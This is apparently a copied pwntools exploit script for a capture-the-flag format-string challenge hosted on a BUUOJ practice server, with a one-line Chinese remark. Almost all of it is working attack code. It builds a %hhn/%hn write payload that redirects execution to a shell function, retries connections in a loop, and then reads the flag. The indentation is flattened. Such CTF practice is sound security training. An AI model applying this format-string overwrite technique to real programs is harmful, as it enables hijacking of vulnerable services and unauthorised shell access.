有点小问题。抄的
from pwn import *
context.log_level = 'debug'
context.arch = 'i386'
# io = process('./xman_2019_format')
io = remote('node4.buuoj.cn',26775)
getshell_addr = 0x80485AB
low = getshell_addr&0xffff
payload = "%" + str(0x4C) + "c%10$hhn|"
payload += "%" + str(low) + "c%18$hn#"
while True:
try:
io.sendlineafter("...\n...\n",payload)
sleep(0.1)
io.sendlineafter("#","cat flag")
io.interactive()
break
except EOFError :
io.close()
# io = process('./xman_2019_format')
io = remote('node4.buuoj.cn',26775)